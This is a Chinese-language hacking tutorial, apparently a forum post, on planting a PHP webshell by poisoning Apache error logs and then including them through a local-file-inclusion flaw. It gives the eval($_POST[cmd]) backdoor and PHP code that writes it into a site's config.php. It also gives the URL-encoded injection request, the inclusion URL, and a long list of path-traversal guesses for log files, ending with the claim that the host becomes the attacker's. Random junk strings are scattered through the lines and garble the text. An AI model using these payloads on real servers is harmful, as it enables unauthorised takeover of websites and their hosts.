php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

$ W) j  x3 M6 }* U$ o& P比如还是这句一句话木马
- p1 J" s' L) `# |! ]2 {( O. x<?eval($_POST[cmd]);?>   
3 j" J, Q5 Z" P7 w4 G, S7 i( i
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
3 n# Q# D# E1 d4 dfclose($fp);?>   //在config.php里写入一句木马语句
! \: j* y4 z+ C
! ^" ~# T# r9 ?% j$ C+ J; _, z5 s+ U我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
' u7 Z: @$ d( V# \; U8 F%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
' Y/ l) A8 [/ m, B( t我们提交
7 }' e' M) s0 k0 A, ]6 Mhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
' S- ?% r0 {& I- \; h$ n%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
: J/ N' S+ y6 ncmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

; W# y4 M0 s' R5 L, V# Q1 ?这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
9 [& N1 s2 c0 B* O, Whttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
- a% h9 G9 c5 z7 N& Whttp://www.xxx.com/forum/config.php这个就成了我们的webshell
# C) f* Q1 M! B直接用lanker的客户端一连，主机就是你的了。
7 E# y, K+ Q/ C
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
; S/ n+ n: R) n0 i+ d
4 ^4 B3 G' Y- R7 W( n其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
  J- j- \7 f) c8 t../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
  }4 Q/ q8 C) G' C$ S. B../../../apache/logs/access.log
$ h7 f& s2 U5 z6 y. t../../../../../../../../../../etc/httpd/logs/acces_log
( t2 b; f0 f! A5 v# r2 b../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
- j& k$ p5 k% T3 J8 c# r& p../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
/ V9 u! Z4 ?, L8 v. g../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
. C# r7 F# z1 Z3 I5 ~2 n/ b../../../../../../../../../../usr/local/apache/logs/access.log
; J5 E5 o9 }$ _7 e5 Z  R0 N../../../../../../../../../../var/log/apache/access_log
1 ^& P2 x2 X3 {% d5 ]5 a+ [../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
; M  B7 }0 O# a% Q: F../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
& E0 }. T# n9 k! W/ r) G3 t' e/ u../../../../../../../../../../usr/local/apache/logs/error_log
0 W: i$ H+ R; r../../../../../../../../../../usr/local/apache/logs/error.log
( D1 }( x1 _  o../../../../../../../../../../var/log/apache/error_log
4 ~% g6 l" |1 D, U0 O3 F( I, x, w8 B../../../../../../../../../../var/log/apache/error.log
+ J* K  E/ F5 Y$ O+ c7 d1 ]$ M../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
' |5 V8 d1 G0 q: I6 _/ A/var/log/httpd/access_log      
9 d* a2 O8 o! M2 }% j/var/log/httpd/error_log     
: U# I2 w3 o; ], O/ w../apache/logs/error.log     
../apache/logs/access.log
! P& i+ f+ R2 N) {$ U# u( `../../apache/logs/error.log
3 v, d( m' g: Q1 I7 h! K4 B, O../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
0 F. L1 i5 w: N# d7 `1 C/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
; |% x; e1 q; T% s! k* |- X/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
& N8 P, T+ A# }# \: ]/usr/local/apache/logs/access.log
- C$ a" {' g. p  ]$ C' O/var/log/apache/access_log
9 J0 G; C( a8 ~  J* P/var/log/apache/access.log
2 d( H4 Y  F7 ]. Q. j/var/log/access_log
/var/www/logs/error_log
: R; f1 V, D+ m/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
4 v/ O3 D4 D! y/var/log/apache/error_log
/var/log/apache/error.log
" U  s9 `. M) |" O" z/var/log/access_log
9 v# S! D. K. R4 g+ S/var/log/error_log